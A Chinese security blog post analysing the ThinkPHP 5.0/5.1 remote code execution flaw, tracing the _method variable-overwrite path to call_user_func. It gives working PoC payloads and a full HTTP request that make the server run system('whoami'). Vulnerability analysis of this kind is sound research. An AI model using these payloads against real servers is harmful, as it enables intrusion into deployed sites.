前言
最近看到了thinkphp5最新爆出来的代码执行漏洞,于是便跟着一起学习一下。
thinkphp5.1.* 远程代码执行
漏洞版本
thinkphp5.1.* 版本
触发条件
thinkphp5 设置 error_reporting(0)
复现环境
thinkphp5.1.31+php7.2.10+apache
漏洞分析
漏洞文件:\thinkphp\library\think\Request.php
漏洞代码如下:
public function method($origin = false)
{
if ($origin) {
// 获取原始请求类型
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[$this->config['var_method']])) {
$this->method = strtoupper($_POST[$this->config['var_method']]);
$method = strtolower($this->method);
$this->{$method} = $_POST;
} elseif ($this->server('HTTP_X_HTTP_METHOD_OVERRIDE')) {
$this->method = strtoupper($this->server('HTTP_X_HTTP_METHOD_OVERRIDE'));
} else {
$this->method = $this->server('REQUEST_METHOD') ?: 'GET';
}
}
return $this->method;
}
在这里存在一个经典的变量覆盖漏洞点$this->method = strtoupper($_POST[$this->config['var_method']]);
var_method=_method的值,即POST的_method值会赋值给$this->method。
同时,由$this->{$method} = $_POST
,得$this->method 会得到 POST的值。
举个例子,假如我们POST的数据为a=aaa&b=bbb&_method=www,那么经过method方法后,我们就会得到一个$www变量,它的值为{‘a’=>’aaa’,’b’=>’bbb’,’_method’=>’www’}
那么在这里,我们可以控制_method的值,来达到覆盖request.php里任意变量的目的。
这里就要提到一个利用函数了:filterValue()
代码如下:
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
}
······
return $value;
}
这个函数的作用是针对每一个$value值,用$filters进行过滤。
在这里$filters的值就是$filter的值,如果我们之前POST的_method=filter,那么我们就会覆盖$filter原本的值为我们POST的数据。
而foreach将$filter的值遍历出来带入$value = call_user_func($filter, $value)
中执行。
如果我们POST中的数据带有危险函数如system、exec,那么就可以带入call_user_func中进行执行。
而执行的对象为$value。在这里,$value的值为request传入的数据,即我们传入的参数值。我们即可带入危险命令进入函数执行。
这里分析一下大概的流程
- 通过_method变量进行变量覆盖
- 在变量覆盖的时候覆盖filter变量,同时传入危险函数名,在call_user_func函数中充当$filter值
- 在传递变量时,传入危险命令,在call_user_func函数中充当$value值
经过全局搜索,我们在route.php里找到如下调用:
public static function check($request, $url, $depr = '/', $checkDomain = false)
{
······
$method = strtolower($request->method());
// 获取当前请求类型的路由规则
······
继续向上,发现app.php里有对route::check()的调用:
public static function routeCheck($request, array $config)
{
······
// 路由检测(根据路由定义返回不同的URL调度)
$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
······
而routeCheck在app::run()里存在调用
所以我们得出一条调用链:
index.php -> start.php -> app.php(app::run()) -> app.php(app::routeCheck()) -> route.php(Route::check()) -> request.php(request::method())
之后,thinkphp会处理请求参数,进而对reqeust->filterValue()进行调用
通过上述分析,我们即可得到POC:a=system&b=whoami&_method=filter
测试效果图如下:
其实在这里,变量名a、b根本不重要,同时,变量b也可以是GET参数,如:
须得注意的是,由于filter被覆盖,程序会抛出一个警告错误,如果不设置error_reporting(0)的话,程序会终止,无法达到代码执行的目的。
另外,这个漏洞针对thinkphp5.0.2-5.0.12也是成立的。
thinkphp5.0.12代码执行
漏洞版本
thinkphp5.0.0-5.0.12
复现环境
thinkphp5.0.10+php-7.2.10+apache
漏洞分析
在thinkphp5.0.12版本中,method方法不同与5.1版本,它的代码形式是这样的:
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
$this->method = IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
}
}
return $this->method;
}
依旧是$this->method 的值来源于 POST参数_method。
而下一语句代码:$this->{$this->method}($_POST);
,表示将执行名为$this->method的函数,参数值为$_POST。
所以说,我们可以通过控制_method的值来达到执行reques里的任意函数的目的。
通过5.1.*版本的漏洞,我们知道,在request.php里,要达到代码执行的目的,须通过filterValue里的call_user_func函数实现。向前溯源,即须通过变量覆盖将$filter的值设为危险函数名,我们才可实现。
其实在5.0.12版本中,filterValue函数基本无差异:
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {
if (false !== strpos($filter, '/')) {
// 正则过滤
······
基于这个目的,我们将目光放在这个函数上:__constract()
代码如下:
protected function __construct($options = [])
{
foreach ($options as $name => $item) {
if (property_exists($this, $name)) {
$this->$name = $item;
}
}
if (is_null($this->filter)) {
$this->filter = Config::get('default_filter');
}
// 保存 php://input
$this->input = file_get_contents('php://input');
}
在这段代码中,函数通过foreach循环,将$options中的值分离出来,用propeprty_exists检查$this是否存在$item属性,如果存在,则对它进行赋值。
如果我们POST的数据如下:_method=__construct&filter=system
那么,我们就可以根据method方法进入__constract函数中。再由foreach检查是this是否存在_method和filter属性,对其分别赋值。
至此,我们就找到了对$filter变量进行控制的方法了。
再控制$value为危险函数命令,即可进行代码执行
总结一下流程:
- _method数据控制进入__constract函数
- $_POST数据对$filte变量进行赋值使之为危险函数
- $request 控制危险函数命令
调用流程跟上一个一样
index.php -> start.php -> app.php(app::run()) -> app.php(app::routeCheck()) -> route.php(Route::check()) -> request.php(request::method()) -> reqeust.php(request::__constract())
所以,poc如下:a=whoami&_method=__construct&filter=system
效果如下:
在此次,$value依旧是任意request值,所以,GET数据依然有效:
thinkphp5.0.23核心板代码执行
漏洞版本
thinkphp5.0.13-5.0.23
复现环境
thinkphp5.0.23核心版+php7.2.10+apache
漏洞分析
在之前的两个版本中,漏洞实现的核心都是通过
- request.php的method方法进行变量覆盖,
- 调用filterValue进行代码执行。
无论中间的步骤如何,最核心的步骤都是这两个。
但是在thinkphp5.0.13后,在app.php中新增了如下代码:
public static function module($result, $config, $convert = null)
{
······
// 设置默认过滤机制
$request->filter($config['default_filter']);
······
我们来回顾一下之前的调用流程:
index.php -> start.php -> app.php(app::run()) -> app.php(app::routeCheck()) -> route.php(Route::check()) -> request.php(request::method())
在之前版本的代码中,我们在method的方法中对变量进行覆盖。
但是,在之后版本中,由于在thinkphp处理请求参数之前,调用了app::module(),对$filter进行了重定义,将我们覆盖的值又进行覆盖。
所以之前版本的利用流程不可用,需要更新利用方式。
在这个版本的代码中,我们要通过method()变量覆盖达到代码执行的目的,需要满足两个条件:
- 调用reqeust::method()
- 在app:module()执行之前调用requeest::filterValue()
经过查找,发现request::param()对method()进行了调用:
public function param($name = '', $default = null, $filter = '')
{
if (empty($this->mergeParam)) {
$method = $this->method(true);
// 自动获取请求变量
······
}
method参数为true,会进入request::server()
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return $this->server('REQUEST_METHOD') ?: 'GET';
······
}
进入server方法:
public function server($name = '', $default = null, $filter = '')
{
if (empty($this->server)) {
$this->server = $_SERVER;
}
if (is_array($name)) {
return $this->server = array_merge($this->server, $name);
}
return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);
}
继续进入input方法:
public function input($data = [], $name = '', $default = null, $filter = '')
{
······
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
} else {
$this->filterValue($data, $name, $filter);
}
······
}
在此处,依次跟踪传入参数,如下:
- $this->server(‘REQUEST_METHOD’) -> requuest::server()
- $this->server,$this->server(‘REQUEST_METHOD’) -> request::input()
在input方法中,有如下一段代码:
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
// 无输入数据,返回默认值
return $default;
}
}
可以看出,$data即为server[‘REQUEST_METHOD’]的值。
然后,$data进入$this->filterValue函数:$this->filterValue($data, $name, $filter);
拉通来看,即在param函数中,对server[‘REQUEST_METHOD’]中的值调用了一次filterValue方法。
在app.php中,存在如下代码:
// 记录路由和请求信息
if (self::$debug) {
Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
}
即程序开启debug模式,会调用一次$request->param()函数。
满足了漏洞利用的条件。
所以,poc如下:_method=__construct&filter=system&server[REQUEST_METHOD]=whoami
效果如下:
thinkphp5.0.23完整版代码执行
漏洞版本
thinkphp5.0.0-thinkphp5.0.23
复现环境
thinkphp5.0.23完整版+php7.2.10+apache
漏洞分析
上一个漏洞分析讲过,漏洞利用有两个条件:
- 调用reqeust::method()
- 在app:module()执行之前调用requeest::filterValue()
但其实,如果app::module()方法不执行,一样可以达成目的。
分析一下为什么要执行app::module()方法?
在app::run()中看到如下代码:$data = self::exec($dispatch, $config);
跟进exec()方法:
protected static function exec($dispatch, $config)
{
switch ($dispatch['type']) {
case 'redirect': // 重定向跳转
$data = Response::create($dispatch['url'], 'redirect')
->code($dispatch['status']);
break;
case 'module': // 模块/控制器/操作
$data = self::module(
$dispatch['module'],
$config,
isset($dispatch['convert']) ? $dispatch['convert'] : null
);
break;
case 'controller': // 执行控制器操作
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = Loader::action(
$dispatch['controller'],
$vars,
$config['url_controller_layer'],
$config['controller_suffix']
);
break;
case 'method': // 回调方法
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = self::invokeMethod($dispatch['method'], $vars);
break;
······
}
在这里面,我们看到了熟悉的param()方法,这个方法就是导致5.0.23核心版代码执行的罪魁祸首。
同时,由switch ($dispatch['type'])
可知,如果我们控制了$dispatch[‘type’]的值,就可以控制exec()方法执行的函数,就可以达成跳过app::module()方法的目的。
再来溯源$dispatch变量:
在app::run()中:
if (empty($dispatch)) {
$dispatch = self::routeCheck($request, $config);
}
进入routeCheck()方法中:
public static function routeCheck($request, array $config)
{
$path = $request->path();
$depr = $config['pathinfo_depr'];
$result = false;
······
// 路由检测(根据路由定义返回不同的URL调度)
$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
$must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];
if ($must && false === $result) {
// 路由无效
throw new RouteNotFoundException();
}
···
return $result;
}
返回值$result跟$Route::check()有关,继续跟进:
public static function check($request, $url, $depr = '/', $checkDomain = false)
{
······
$method = strtolower($request->method());
// 获取当前请求类型的路由规则
$rules = isset(self::$rules[$method]) ? self::$rules[$method] : [];
// 检测域名部署
······
// 路由规则检测
if (!empty($rules)) {
return self::checkRoute($request, $rules, $url, $depr);
}
return false;
}
在这里,又一次执行了我们熟悉的$request->method()方法。
在method()方法中,我们进行了一次变量覆盖。
同时,由$this->method = strtoupper($_POST[Config::get('var_method')]);
return $this->method;
可知我们得到的时$method的值。同时,$rules获得名为$method的路由规则。
跟进route::checkRoute():
private static function checkRoute($request, $rules, $url, $depr = '/', $group = '', $options = [])
{
foreach ($rules as $key => $item) {
······
if (is_array($rule)) {
······
$result = self::checkRule($rule, $route, $url, $pattern, $option, $depr);
if (false !== $result) {
return $result;
}
}
}
······
}
经过试调,$result值来源于self::checkRule()方法,继续跟进:
private static function checkRule($rule, $route, $url, $pattern, $option, $depr)
{
······
if ($len1 >= $len2 || strpos($rule, '[')) {
······
if (false !== $match = self::match($url, $rule, $pattern)) {
// 匹配到路由规则
return self::parseRule($rule, $route, $url, $option, $match);
}
}
return false;
}
此处,返回的值与self::parseRule()有关,继续跟进:
private static function parseRule($rule, $route, $pathinfo, $option = [], $matches = [], $fromCache = false)
{
······
elseif (false !== strpos($route, '\\')) {
// 路由到方法
list($path, $var) = self::parseUrlPath($route);
$route = str_replace('/', '@', implode('/', $path));
$method = strpos($route, '@') ? explode('@', $route) : $route;
$result = ['type' => 'method', 'method' => $method, 'var' => $var];
}
······
return $result;
}
可以看到,只要满足false !== strpos($route, ‘\\‘),就可以进入路由到方法,控制dispatch[‘type’]值为method,从而进入app::exec()方法中的method()回调方法,执行Request::instance()->param()
,达成利用条件。
在完整版中,thinkphp多了一些东西:
在\topthink\think-captcha\src\helper.php中存在:\think\Route::get('captcha/[:id]', "\\think\\captcha\\CaptchaController@index");
这里调用\think\route::get进行路由注册,而在我们跟踪流程中发现在$Route::check()中可以通过覆盖$mthod值达到获取任意名为$method的路由规则。
如果我们覆盖$method的值为get,就会获得get类型的路由,再传入参数值为captcha,即可获得上面的路由规则:\\think\\captcha\\CaptchaController@index
。
刚好符合进入路由到方法的条件。
再通过层层返回,可以进入app::exec()中的method回调方法,执行Request::instance()->param
。
所以,poc如下:
POST /thinkphp_5.0.23_with_extend/public/index.php?s=captcha HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 74
_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=whoami
效果如下:
变异poc
网上的大佬太多了,一个个的poc骚到不行,这里再贴一条大佬的变异poc:_method=__construct&filter[]=system&method=get&get[]=whoami
个人想法
- 这四个版本的漏洞,本质上都是由一个漏洞点引起的。无论是覆盖不同的函数,还是越过module()方法的执行,本身就是花式满足漏洞触发条件。由于thinkphp的灵活,关于这个漏洞点的利用方式应该不止我列举的这四种。就像完整版之于核心版,由于插件的富余,使之利用点多了一个。
- 其实,搞清楚具体的调用流程,对分析如何达成漏洞利用条件还是很有帮助的。就比如5.0.12版本之后的代码,由于module()方法对filterValue进行重定义,导致之前的poc链不成立。而通过分析thinkphp执行流程我们发现module()方法执行之前可以调用其他函数,也可以覆盖某些值以到达不执行module()函数。所以,调用流程的分析很有必要。